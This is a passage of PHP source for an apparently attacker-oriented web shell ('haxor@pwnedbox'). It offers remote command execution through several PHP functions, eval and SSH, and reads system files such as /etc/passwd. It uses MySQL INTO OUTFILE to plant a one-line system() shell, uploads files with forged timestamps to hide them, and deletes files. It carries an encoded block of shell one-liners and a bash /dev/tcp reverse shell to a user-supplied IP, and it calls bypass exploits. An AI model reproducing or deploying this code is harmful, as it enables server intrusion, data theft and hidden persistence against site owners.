679 echo "all system functions are disabled :( <font color=\"gray\"> but you could try a CGI/SSI shell ;) and still there is<br></font>"; } else {
680 if (function_enabled('passthru')) {
681 echo 'passthru <input name="wut" value="passthru" type="radio" checked><br>';
682 } else { echo 'passthru is disabled!<br>';}
683 if (function_enabled('system')) {
684 echo 'system <input name="wut" value="system" type="radio"><br>';
685 } else { echo 'system is disabled!<br>';}
686 if (function_enabled('exec')) {
687 echo 'exec <input name="wut" value="exec" type="radio"><br>';
688 } else { echo 'exec is disabled!<br>';}
689 if (function_enabled('shell_exec')) {
690 echo 'shell_exec <input name="wut" value="shell_exec" type="radio"><br>';
691 } else { echo 'shell_exec is disabled!<br>';}
692 if (function_enabled('popen')) {
693 echo 'popen <input name="wut" value="popen" type="radio"><br>';
694 } else { echo 'popen is disabled!<br>';}
695 if (function_enabled('proc_open')) {
696 echo 'proc_open <input name="wut" value="proc_open" type="radio"><br>';
697 } else { echo 'proc_open is disabled!<br>';}
698 }
699 // eval almost always enabled, except there is special option in suhosin-patched php
700 echo 'php eval() <input name="wut" value="eval" type="radio"><br>';
701 echo '</form>';
702 echo "<br>pcntl_exec:";
703 //determining if pcntl enabled is kinda tricky. debug: add if(dl('pcntl.so')) or check var_dump(get_extension_funcs('pcntl')) ?
704 if (extension_loaded('pcntl')) {
705 if (function_enabled('pcntl_fork')) {
706 if (function_enabled('pcntl_exec')) {
707 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> interpreter <input name="inter" type="text" size="10" value="/bin/sh"></font> <br><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s"><input name="command" type="text" size="40" value="'.$shelltext.'"> ><input type="radio" name="to" value=">" checked> >><input type="radio" name="to" value=">>"> <input name="pcfile" type="text" size="20" value="./rezult.html"> ';
708 if (is_writable("./")) {
709 echo "<font color=\"green\">(./ writable)</font>";
710 } else {
711 echo "<font color=\"red\">(./ readonly)</font>";
712 }
713 echo '<br><font color="gray">delete result file after showing contents</font><input type="checkbox" name="delrezult" checked><input type="submit" value="go"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="pcntl"></form>';
714 } else {
715 echo "<br>pcntl_exec is disabled!<br>";
716 }
717 } else {
718 echo "<br>pcntl_fork is disabled!<br>";
719 }
720 } else {
721 echo "<br>fail, no pcntl.so here<br>";
722 }
723 echo "<br>ssh2_exec:";
724 if (extension_loaded('ssh2')) {
725 if (function_enabled('ssh2_connect')) {
726 if (function_enabled('ssh2_exec')) {
727 if ($download != "1") {
728 if (empty($_POST["wut"])) {
729 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"> <font color="gray">host: <input name="ssh2host" type="text" size="20" value="localhost"> port: <input name="ssh2port" type="text" size="5" maxlength="5" value="22"> user: <input name="ssh2user" type="text" size="20" value="h4x0r"> password: <input name="ssh2pass" type="text" size="20" value="r0xx0r"> </font><br><font color="green"> haxor@pwnedbox$ </font><input name="command" type="text" size="40" value="uname -a"> <input type="submit" value="go"><input name="p" type="hidden" value="s"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="ssh2"></form>';
730 }
731 }
732 } else {
733 echo "<br>ssh2_exec is disabled!";
734 }
735 } else {
736 echo "<br>ssh2_connect is disabled!";
737 }
738 } else {
739 echo "<br>fail, no ssh2.so here";
740 }
741 echo $pageend;
742 } else {
743 if ($download != "1") {
744 echo $title;
745 }
746 $shelltext=$_POST["command"];
747 $html='<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s">';
748 $input='<textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> 2>&1 <input type="submit" value="Enter"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="';
749 if ($download != "1") {
750 switch ($_POST["wut"]) {
751 case "passthru":
752 if (strnatcmp(version(),"5.2.9") <= 0) {
753 sploent516();
754 }
755 echo "$html"; echo "$input"; echo 'passthru"></form>';
756 break;
757 case "system":
758 if (strnatcmp(version(),"5.2.9") <= 0) {
759 sploent516();
760 }
761 echo "$html"; echo "$input"; echo 'system"></form>';
762 break;
763 case "exec":
764 if (strnatcmp(version(),"5.2.9") <= 0) {
765 sploent516();
766 }
767 echo "$html"; echo "$input"; echo 'exec"></form>';
768 break;
769 case "shell_exec":
770 if (strnatcmp(version(),"5.2.9") <= 0) {
771 sploent516();
772 }
773 echo "$html"; echo "$input"; echo 'shell_exec"></form>';
774 break;
775 case "popen":
776 if (strnatcmp(version(),"5.2.9") <= 0) {
777 sploent516();
778 }
779 echo "$html"; echo "$input"; echo 'popen"></form>';
780 break;
781 case "proc_open":
782 if (strnatcmp(version(),"5.2.9") <= 0) {
783 sploent516();
784 }
785 echo "$html"; echo "$input"; echo 'proc_open"></form>';
786 break;
787 case "eval":
788 if (strnatcmp(version(),"5.2.9") <= 0) {
789 sploent516();
790 }
791 echo "$html"; echo 'php -r \''; echo '<textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> \' <input type="submit" value="Enter">
792 <input name="wut" value="eval" type="hidden"></form>';
793 break;
794 case "pcntl":
795 //sploent516 not needed coz pcntl bypasses safe_mode
796 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> interpreter <input name="inter" type="text" size="10" value="/bin/sh"></font> <br><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s"><input name="command" type="text" size="40" value="'.$shelltext.'"> ><input type="radio" name="to" value=">" checked> >><input type="radio" name="to" value=">>"> <input name="pcfile" type="text" size="20" value="'.$_POST["pcfile"].'">';
797 if (is_writable("./")) {
798 echo "<font color=\"green\">(./ writable)</font>";
799 } else {
800 echo "<font color=\"red\">(./ readonly)</font>";
801 }
802 echo ' <br><font color="gray">delete result file after showing contents</font><input type="checkbox" name="delrezult" checked><input type="submit" value="go"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="pcntl"></form>';
803 break;
804 case "ssh2":
805 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> host: <input name="ssh2host" type="text" size="20" value="'.$_POST["ssh2host"].'"> port: <input name="ssh2port" type="text" size="5" maxlength="5" value="'.$_POST["ssh2port"].'"> user: <input name="ssh2user" type="text" size="20" value="'.$_POST["ssh2user"].'"> password: <input name="ssh2pass" type="text" size="20" value="'.$_POST["ssh2pass"].'"> </font><br><font color="green"> haxor@pwnedbox$ </font> <input name="command" type="text" size="40" value="'.$shelltext.'"> <input type="submit" value="go"><input name="p" type="hidden" value="s"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="ssh2"></form>';
806 break;
807 }
808 }
809 }
810 if (!empty($_POST["wut"])) {
811 if ($download != "1") {
812 echo "<textarea cols=\"80\" rows=\"40\">";
813 }
814 switch ($_POST["wut"]) {
815 case "passthru":
816 passthru($_POST["command"]." 2>&1");
817 break;
818 case "system":
819 system($_POST["command"]." 2>&1");
820 break;
821 case "exec":
822 exec($_POST["command"]." 2>&1",$out);
823 echo join("\n",$out);
824 break;
825 case "shell_exec":
826 $out=shell_exec($_POST["command"]." 2>&1");
827 echo "$out";
828 break;
829 case "popen":
830 $hndl=popen($_POST["command"]." 2>&1", "r");
831 $read=stream_get_contents($hndl);
832 echo $read;
833 pclose($hndl);
834 break;
835 case "proc_open":
836 $process = proc_open('/bin/sh', $descriptorspec, $pipes);
837 if (is_resource($process)) {
838 fwrite($pipes[0],$_POST["command"]);
839 fclose($pipes[0]);
840 echo stream_get_contents($pipes[1]);
841 fclose($pipes[1]);
842 echo stream_get_contents($pipes[2]);
843 fclose($pipes[2]);
844 @proc_close($process);
845 }
846 break;
847 case "pcntl":
848 $shelltext=$_POST["command"];
849 switch (pcntl_fork()) {
850 case 0:
851 pcntl_exec($_POST["inter"],array("-c","".$_POST["command"]." ".$_POST["to"]." ".$_POST["pcfile"]));
852 exit(0);
853 default:
854 break;
855 }
856 sleep(1);
857 $fh=fopen("".$_POST["pcfile"]."","r");
858 if (!$fh) { echo "can`t fopen ".$_POST["pcfile"].", seems that we failed :("; }
859 else {
860 $rezult=fread($fh,filesize($_POST["pcfile"]));
861 fclose($fh);
862 echo $rezult;
863 if ($_POST["delrezult"] == "on") { unlink($_POST["pcfile"]); }
864 }
865 break;
866 case "eval":
867 eval($_POST["command"]);
868 break;
869 case "ssh2":
870 $connection=ssh2_connect($_POST["ssh2host"], $_POST["ssh2port"]) or die ("cant connect. host/port wrong?");
871 //using knowingly wrong username to test auth. methods
872 $auth_methods = ssh2_auth_none($connection, '12309tezt');
873 if (in_array('password', $auth_methods)) {
874 $connection=ssh2_connect($_POST["ssh2host"], $_POST["ssh2port"]) or die ("cant connect. host/port wrong?"); //need to connect again after failed login
875 if (ssh2_auth_password($connection, ''.$_POST["ssh2user"].'', ''.$_POST["ssh2pass"].'')) {
876 $stream=ssh2_exec($connection, $shelltext);
877 stream_set_blocking($stream, true);
878 $data = "";
879 while ($buf = fread($stream,4096)) {
880 $data .= $buf;
881 }
882 fclose($stream);
883 echo $data;
884 } else {
885 echo "cant login. user/pass wrong?";
886 }
887 } else {
888 echo 'fail, no "password" auth method';
889 }
890 break;
891 }
892 if ($download != "1") {
893 echo "</textarea>";
894 }
895 }
896 break;
897// --------------------------------------------- shell end; file operations
898 case "f":
899 if ($download != "1") {
900 echo $title;
901 echo "<font color=\"gray\">";
902 echo "current dir: ".getcwd()."<br>";
903 sploent516();
904 echo "<br>--------------------------------<br></font>";
905 }
906 if (empty($_POST["filer"]) and $download != "1" and empty($_POST["edt"]) and empty($_POST["sqlr"]) and empty($_POST["sqlu"]) and empty($_POST["upload"])) {
907 echo '<a href="#" onclick="showTooltip(7)" id="link"> >> read/upload/edit file << </a><br><br>
908 <div id="7" style="display: none">';
909 $ololotext="/home/USER/public_html/DOMAIN/index.php";
910 echo '<font color="blue">---> read file </font><br>';
911 echo "php file_get_contents:<br>";
912 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$</font> cat <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
913 <input name="filer" type="hidden" value="php"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"> <input type="checkbox" name="down"> download </form>';
914 //curl
915 if (strnatcmp(version(),"5.2.9") <= 0) {
916 echo "<br> curl exploit: <br>";
917 if (!extension_loaded('curl')) {
918 echo " fail, curl is required<br>";
919 } else {
920 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$</font> cat <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
921 <input name="filer" type="hidden" value="curl"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"> <input type="checkbox" name="down"> download </form>';
922 }
923 }
924 } else {
925 switch ($_POST["filer"]) {
926 case "php":
927 $ololotext=($_POST["filename"]);
928 if ($download != "1") {
929 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green">haxor@pwnedbox$ </font>cat
930 <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
931 <input name="filer" type="hidden" value="php"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"><input type="checkbox" name="down"> download </form>';
932 }
933 if (!empty($_POST["filename"])) {
934 if ($download != "1") {
935 echo '<font color="gray">';
936 echo "<textarea cols=\"80\" rows=\"40\">";
937 }
938 $contents=file_get_contents($_POST["filename"]) or die("failed. bad permissions or no such file?".$pageend."");
939 echo $contents;
940 if ($download != "1") {
941 echo "</textarea>";
942 }
943 echo $pageend;
944 die();
945 }
946 break;
947 case "curl":
948 $ololotext=($_POST["filename"]);
949 if ($download != "1") {
950 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green">haxor@pwnedbox$ </font>cat
951 <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
952 <input name="filer" type="hidden" value="curl"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"><input type="checkbox" name="down"> download </form>';
953 }
954 if (!empty($_POST["filename"])) {
955 if ($download != "1") {
956 echo '<font color="gray">';
957 echo "<textarea cols=\"80\" rows=\"40\">";
958 }
959 sploent529($_POST["filename"]);
960 }
961 break;
962 }
963 }
964 // curl + file_get_contents end
965 if ($download != "1" and empty($_POST["edt"]) and empty($_POST["sqlu"])) {
966 echo "<br>mysql:<br>";
967 if (empty($_POST["sqlr"])) {
968 $user="root";
969 $pass="12345";
970 $db="test";
971 $host="localhost";
972 $port="3306";
973 $file="/etc/passwd";
974 } else {
975 $user=$_POST['user'];
976 $pass=$_POST['pass'];
977 $db=$_POST['db'];
978 $host=$_POST['host'];
979 $port=$_POST['port'];
980 $file=$_POST['file'];
981 }
982 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">user <input name="user" type="text" maxlength="500" size="10" value="'.$user.'"> password <input name="pass" type="text" maxlength="500" size="10" value="'.$pass.'"> host <input name="host" type="text" maxlength="500" size="10" value="'.$host.'">:<input name="port" type="text" maxlength="5" size="5" value="'.$port.'"> database <input name="db" type="text" maxlength="500" size="10" value="'.$db.'"><font color="gray">(needed for `load data infile`)</font><br><input name="wut" value="load_file" type="radio" checked>load_file<br><input name="wut" value="infile" type="radio">load data infile <font color="gray">(use it for binary files)</font><br><input name="file" type="text" maxlength="500" size="40" value="'.$file.'"> <input type="submit" value="go"><input name="sqlr" type="hidden" value="yup"><br><input name="p" type="hidden" value="f"></form>';
983 if (!empty($_POST["sqlr"])) {
984 $link=mysql_connect("".$host.":".$port."",$user,$pass) or die("cant connect: ".mysql_error()."".$pageend."");
985 switch ($_POST['wut']) {
986 case "load_file":
987 $q='SELECT load_file("'.$_POST["file"].'")';
988 $rez=mysql_query($q,$link) or die("query error:".mysql_error()."".$pageend."");
989 echo "result:<br>";
990 echo "<textarea cols=\"80\" rows=\"20\">";
991 echo mysql_result($rez,0);
992 echo "</textarea><br>";
993 echo $pageend;
994 die();
995 break;
996 case "infile":
997 mysql_select_db($db) or die ("cannot select db: ".mysql_error()."".$pageend."");
998 mysql_query("CREATE TABLE `file` ( `text` LONGBLOB NOT NULL );") or die ("cannot create table: ".mysql_error()."".$pageend."");
999 mysql_query("LOAD DATA INFILE \"".$_POST["file"]."\" INTO TABLE file LINES TERMINATED BY '' (`text`)") or die ("cannot load data: ".mysql_error()."".$pageend."");
1000 $rez=mysql_query("SELECT * FROM file;");
1001 if (!$rez) { echo "fail. permission denied?<br>"; }
1002 else {
1003 for ($i=0;$i<mysql_num_fields($rez);$i++) {$name = mysql_field_name($rez,$i);}
1004 $f = "";
1005 while ($row = mysql_fetch_array($rez, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
1006 if (empty($f)) {
1007 echo "file does not exists or empty?<br>";
1008 } else {
1009 echo "result:<br>";
1010 // code from c99shell madnet edition
1011 $n = 0;
1012 $a0 = "00000000<br>";
1013 $a1 = "";
1014 $a2 = "";
1015 for ($i=0; $i<strlen($f); $i++) {
1016 $a1 .= sprintf("%02X",ord($f[$i]))." ";
1017 switch (ord($f[$i])) {
1018 case 0: $a2 .= "<font>0</font>"; break;
1019 case 32:
1020 case 10:
1021 case 13: $a2 .= " "; break;
1022 default: $a2 .= htmlspecialchars($f[$i]);
1023 }
1024 $n++;
1025 if ($n == 24) {
1026 $n = 0;
1027 if ($i+1 < strlen($f)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
1028 $a1 .= "<br>";
1029 $a2 .= "<br>";
1030 }
1031 }
1032 echo '<table border=0 cellspacing="1" cellpadding="4"><tr><td>'.$a0.'</td><td>'.$a1.'</td><td>'.$a2.'</td></tr></table><br>';
1033 }
1034 mysql_free_result($result);
1035 mysql_query("DROP TABLE file;") or die("cannot drop table: ".mysql_error()."".$pageend."");
1036 }
1037 echo $pageend;
1038 die();
1039 break;
1040 }
1041 mysql_close($link);
1042 }
1043 }
1044 // mysql read file end. upload
1045 if ($download != "1" and empty($_POST["edt"])) {
1046 echo '<br><font color="blue">---> upload file</font><br>';
1047 if (!ini_get('file_uploads')) {
1048 echo "php file_uploads Off<br>";
1049 } else {
1050 echo "<font color=\"gray\">post_max_size: ".ini_get('post_max_size')."<br>";
1051 echo "upload_max_filesize: ".ini_get('upload_max_filesize')."<br>";
1052 echo "</font>";
1053 if (is_writable("./")) {
1054 echo "<font color=\"green\">./ writable</font>";
1055 } else {
1056 echo "<font color=\"red\">./ readonly</font>";
1057 }
1058 if (!isset($_POST["dir"])) {
1059 $upto=".";
1060 } else {
1061 $upto=$_POST["dir"];
1062 }
1063 echo '<form enctype="multipart/form-data" action="'.$_SERVER['PHP_SELF'].'" method="post"><input name="sourcefile" type="file"> upload to <font color="gray">(dir)</font><input name="filedir" type="text" maxlength="500" size="20" value="'.$upto.'"><font color="green">/</font><input name="upname" type="text" maxlength="500" size="20" value=""><font color="gray">(name. empty = use original file`s name)</font> <input name="upload" type="hidden" value="okz"><input name="p" type="hidden" value="f"><br><input type="submit" value="upload">';
1064 echo '</form>';
1065 if (!empty($_POST["upload"])) {
1066 if(is_uploaded_file($_FILES["sourcefile"]["tmp_name"]))
1067 {
1068 echo "upload ok";
1069 $dirtime=filemtime($_POST['filedir']);
1070 if (!empty($_POST["upname"])) {
1071 $upname=$_POST["upname"];
1072 } else {
1073 $upname=$_FILES["sourcefile"]["name"];
1074 }
1075 move_uploaded_file($_FILES["sourcefile"]["tmp_name"], $_POST['filedir']."/".$upname) or die("<br>moving failed!<br>".$pageend."");
1076 echo "<br>moving done, trying to touch (old time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",$dirtime).")<br>";
1077 touch($_POST['filedir']."/".$upname,$dirtime,$dirtime) or die ("<br>touch failed!<br>".$pageend."");
1078 echo "file touched: new time of ".$upname." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']."/".$upname)).". trying to touch dir<br>";
1079 touch($_POST['filedir'],$dirtime,$dirtime) or die ("<br>touch dir failed!<br>".$pageend."");
1080 echo "dir touched: new time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']))."<br>";
1081 } else {
1082 echo("<br>upload failed!<br>");
1083 }
1084 }
1085 }
1086 if ($download != "1" and empty($_POST["edt"])) {
1087 echo "<br>mysql:<br>";
1088 if (empty($_POST["sqlu"])) {
1089 $user="root";
1090 $pass="12345";
1091 $db="test";
1092 $host="localhost";
1093 $port="3306";
1094 if (empty($_POST["dir"])) {
1095 $dir=getcwd();
1096 } else {
1097 $dir=$_POST["dir"];
1098 }
1099 $file=$dir."/shell.php";
1100 $evilcodez='<?php system($_GET["command"]); ?>';
1101 } else {
1102 $user=$_POST['user'];
1103 $pass=$_POST['pass'];
1104 $db=$_POST['db'];
1105 $host=$_POST['host'];
1106 $port=$_POST['port'];
1107 $file=$_POST['file'];
1108 $evilcodez=$_POST['evilcodez'];
1109 }
1110 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">user <input name="user" type="text" maxlength="500" size="10" value="'.$user.'"> password <input name="pass" type="text" maxlength="500" size="10" value="'.$pass.'"> host <input name="host" type="text" maxlength="500" size="10" value="'.$host.'">:<input name="port" type="text" maxlength="5" size="5" value="'.$port.'"><br> select <br><textarea name="evilcodez" cols="80" rows="4">'.$evilcodez.'</textarea><br>into outfile <input name="file" type="text" maxlength="500" size="40" value="'.$file.'"> <input type="submit" value="go"><input name="sqlu" type="hidden" value="yup"><br><input name="p" type="hidden" value="f"></form>';
1111 }
1112 if (!empty($_POST["sqlu"])) {
1113 $link=mysql_connect("".$host.":".$port."",$user,$pass) or die("cant connect: ".mysql_error()."".$pageend."");
1114 $q='SELECT \''.mysql_real_escape_string($_POST['evilcodez']).'\' INTO OUTFILE "'.$_POST["file"].'"';
1115 $rez=mysql_query($q,$link) or die("query error:".mysql_error());
1116 echo "done<br>";
1117 mysql_close($link);
1118 echo $pageend;
1119 die();
1120 }
1121 echo "<br>";
1122 echo '<font color="blue">---> edit file</font><br>';
1123 if (!empty($_POST["edit"])) {
1124 $filee=trim($_POST["filee"]);
1125 $files=trim($_POST["files"]);
1126 } else {
1127 $filee="/etc/passwd";
1128 if (empty($_POST["dir"])) {
1129 $dir="./";
1130 } else {
1131 $dir=$_POST["dir"]."/";
1132 }
1133 $files=$dir."cache.txt";
1134 }
1135 echo '<form name="editor" method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="filee" type="text" maxlength="500" size="30" value="'.$filee.'"> save as <input name="files" type="text" maxlength="500" size="30" value="'.$files.'"> <input type="submit" value="go"><input name="edt" type="hidden" value="ok"><input name="edit" type="hidden" value="edit"><input name="p" type="hidden" value="f"><br></form>';
1136 }
1137 if (!empty($_POST["edit"])) {
1138 $filee=trim($_POST["filee"]);
1139 $oldtime=@filemtime($filee);
1140 $files=trim($_POST["files"]);
1141 if (!file_exists($files)) {
1142 if (!fopen($files,'a+')) {
1143 echo '<font color="red">'.$files.' isnt writable! (cannot open "a+")<br></font>'; echo $pageend; die();
1144 } else {
1145 if (!file_exists($filee)) {
1146 echo '<font color="gray"> no file '.$filee.', I`ll create new '.$files.'.</font><br>';
1147 } else {
1148 echo '<font color="gray"> no file '.$files.', I`ll create new '.$files.'.</font><br>';
1149 }
1150 fclose($files);
1151 unlink($files);
1152 }
1153 } else {
1154 if (!is_writable($files)) {
1155 $chmoded=substr(sprintf('%o',fileperms($files)), -4);
1156 echo '<font color="gray">'.$files.' chmod '.$chmoded.', trying to chmod 0666</font>';
1157 chmod($files, 0666) or die ('<font color="red"><br>cannot chmod '.$files.' 666!'.$pageend.'');
1158 echo '<font color="gray"> ...done</font>';
1159 }
1160 }
1161 if (!empty($_POST["edt"])) {
1162 $filec=file_get_contents($filee);
1163 if (empty($filec)) {
1164 echo '<font color="red">cannot get '.$filee.' contents!</font>';
1165 }
1166 if (isset($_POST['filec'])) {
1167 $filec=$_POST['filec'];
1168 $fh=fopen($files,"w+") or die ('<font color="red">cannot fopen "w+"!</font>'.$pageend.'');
1169 fputs($fh,$filec);
1170 fclose($fh) or die ('<font color="red">cannot save file!</font>'.$pageend.'');
1171 if (isset($_POST['chmoded'])) {
1172 echo "chmoding to old perms(".trim($_POST['chmoded']).")<br>";
1173 $perms = 0;
1174 for($i=strlen($_POST['chmoded'])-1;$i>=0;--$i)
1175 $perms+=(int)$_POST['chmoded'][$i]*pow(8, (strlen($_POST['chmoded'])-$i-1));
1176 chmod($files, $perms);
1177 }
1178 $date=explode(" ",$_POST["touch"]);
1179 $day=explode("-",$date[0]);
1180 $time=explode(":",$date[1]);
1181 $unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
1182 @touch($files,$unixtime,$unixtime);
1183 die('<br><font color="green"> -> '.$files.' saved!</font>'.$pageend.'');
1184 }
1185 if (empty($oldtime)) {
1186 $ttime=time();
1187 } else {
1188 $ttime=$oldtime;
1189 }
1190 echo '<form action="'.$_SERVER["PHP_SELF"].'" method="post">enter touch time: <input name="touch" type="text" maxlength="19" size="19" value="'.date("Y-m-d H:i:s",$ttime).'"><br><textarea cols="80" rows="20" name="filec">'.$filec.'</textarea><input name="filee" type="hidden" value="'.$filee.'"><input name="p" type="hidden" value="f"><input name="files" type="hidden" value="'.$files.'">';
1191 if (isset($chmoded)) {
1192 echo '<input name="chmoded" type="hidden" value="'.$chmoded.'">';
1193 }
1194 echo '<input name="edit" type="hidden" value="edit"><br><input type="submit" name="edt" value="save"></form>';
1195 }
1196 echo $pageend;
1197 die();
1198 }
1199 if ($download != "1") {
1200 echo '<br></div><font color="blue">---> fail manager</font><br>';
1201 }
1202 if ($action=="viewer") {
1203 if (!isset($dir)) {
1204 $dir=getcwd();
1205 }
1206 scandire($_POST["dir"]);
1207 }
1208 if ($action=="download") {
1209 readfile($_POST["file"]);
1210 }
1211 if ($action=="chmod") {
1212 chmodz($_POST["file"]);
1213 }
1214 if ($action=="touch") {
1215 touchz($_POST["file"]);
1216 }
1217 if ($action == 'delete') {
1218 if (unlink($_POST["file"])) $content.="file ".$_POST["file"]." deleted, <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1219 }
1220 if ($action == 'deletedir') {
1221 if (!rmrf($_POST["file"])) {
1222 $content .="error deleting dir ".$_POST["file"].", <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1223 } else {
1224 $content .="dir ".$_POST["file"]." deleted, <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1225 }
1226 }
1227 if (!empty($content)) {
1228 echo $content;
1229 }
1230 if ($download != "1") {
1231 echo '<br>';
1232 echo '<form name="reqs" method="post" action="'.$_SERVER["PHP_SELF"].'"><input name="action" type="hidden" value=""><input name="dir" type="hidden" value=""><input name="file" type="hidden" value=""><input name="p" type="hidden" value="f"></form>';
1233 echo $pageend;
1234 }
1235 break;
1236// --------------------------------------------- file operations end; bind
1237 case "b":
1238 echo $title;
1239 echo '<a href="#" onclick="showTooltip(1)" id="link"> >> help << </a>
1240 <div id="1" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">
1241 you could get almost-interactive shell in bind/backconnect with help of these commands<br>
1242 -> if there is python on the server, run: <br>
1243 python -c \'import pty; pty.spawn("/bin/bash")\'<br>
1244 -> ruby:<br>
1245 ruby -rpty -e \'PTY.spawn("/bin/bash")do|i,o|Thread.new do loop do o.print STDIN.getc.chr end end;loop do print i.sysread(512);STDOUT.flush end end\'<br>
1246 -> expect:<br>
1247 expect -c \'spawn sh;interact\'<br>
1248 -> policycoreutils package:<br>
1249 open_init_pty bash<br><br>
1250 //thanks to tex from rdot.org<br><br>
1251 for backconnect you should use small one-liners coz there is no temporary file created. in case they fail, try usual "big" backconnects.<br><br>
1252 //thanks to Bernardo Damele and pentestmonkey.net<br><br>
1253 if your terminal is broken after using backconnect (i.e. it doesnt show what you type), run command: reset<br>
1254 </div><br><br>';
1255 if ($failflag=="1") {
1256 echo "fail, at least one system function needed!<br><br>";
1257 } else {
1258 $nc='<font color="gray">(dont forget to setup nc <b>first</b>!)</font>';
1259 $semi='<font color="gray">dont forget to write <b>;</b> at the end of command!</font>';
1260 sploent516();
1261 echo "<br>"; //debug: sometimes page cut here, when passthru system shell_exec are disabled
1262 echo '<font color="green"> - - - - = = = = > > one-liners</font><br><a href="#" onclick="showTooltip(4)" id="link4"> >> show code << </a>
1263 <div id="4" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none"><textarea cols="80" rows="20">
1264'.gzinflate(base64_decode("pZLRq5swFMbf/SsOIq0Bjbfdm6lCue1Axr2W6tsYpU3iKtUkJHZdWe/+9kVbmBv3YbAXT/IRv/NLvnPYm2PswNNiMpt/IPw7p2AXizRi/FvUURVlG7xcrfB2jYsi2uTbkoA5wnAc0uE7H4rjKK4ba9UXCF+yHEIOU08lldQn61x3QV35nkLEo4ngF8jyOC4kPfEujrPXdelvONdLxnTgjpvGfVMXkaJcZa9hWjGpuPA9Gmjr9HMsXBAxV9Px1tvB5Vg3fJGSqePo8+FqufoCoTZDx4GtZ4K6ggGQJuXz5o6DLZ3/B4MbuA+KwdenLUso/so7g0iWYzUQWDFwtYt+3Gp5o1jpWlh7iTXfszcumEURtAdpIawg6loVYUEFI9CehGQjBRRMJiAojBmgJ7BBjY7dIDrUIrJ5zNKR3AfiOB1vhH3af+93/+G/eqprd5SiH4JhASGFad0qqTu4v3tgzgelJeXGBNIQk9xlfC/+Y7f8uOsHInhsi/z5064ot+vli00YUykEp53/d0Q9K0JEGszOau4bXNmohPRR8IQIvCPP3pfniKjkNyem+6bxP7uPa9tRCGv3C7KT9Qs=")).'</textarea></div><br>';
1265 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"><input name="p" type="hidden" value="b"> using <br>';
1266 $searchvar=trim(search("bash",$failflag));
1267 if (empty($searchvar)) {
1268 echo "fail, no bash here<font color=\"gray\"> (lolwut?)</font><br>";
1269 } else {
1270 echo ' bash <input name="wut" value="bash" type="radio" checked><br>';
1271 }
1272 $searchvar=trim(search("perl",$failflag));
1273 if (empty($searchvar)) {
1274 echo "fail, no perl here<br>";
1275 } else {
1276 echo ' perl <input name="wut" value="perl" type="radio"><br>';
1277 }
1278 $searchvar=trim(search("ruby",$failflag));
1279 if (empty($searchvar)) {
1280 echo "fail, no ruby here<br>";
1281 } else {
1282 echo ' ruby <input name="wut" value="ruby" type="radio"><br>';
1283 }
1284 $searchvar=trim(search("nc",$failflag));
1285 if (empty($searchvar)) {
1286 echo "fail, no nc here<br>";
1287 } else {
1288 echo ' nc <input name="wut" value="nc" type="radio"><br>';
1289 }
1290 $searchvar=trim(search("telnet",$failflag));
1291 if (empty($searchvar)) {
1292 echo "fail, no telnet here<br>";
1293 } else {
1294 echo ' telnet <input name="wut" value="telnet" type="radio"><br>';
1295 }
1296 $searchvar=trim(search("python",$failflag));
1297 if (empty($searchvar)) {
1298 echo "fail, no python here<br>";
1299 } else {
1300 echo ' python <input name="wut" value="python" type="radio"><br>';
1301 }
1302 echo '<br><input type="hidden" name="oneline" value="oneline"><input type="submit" value="go"></form><br>';
1303 if (!empty($_POST["oneline"])) {
1304 switch ($_POST["wut"]) {
1305 case "bash":
1306 $c='0<&123;exec 123<>/dev/tcp/'.$_POST["ip"].'/'.$_POST["port"].'; sh <&123 >&123 2>&123';
1307 run($c);
1308 echo "done<br>";
1309 break;
1310 case "perl":
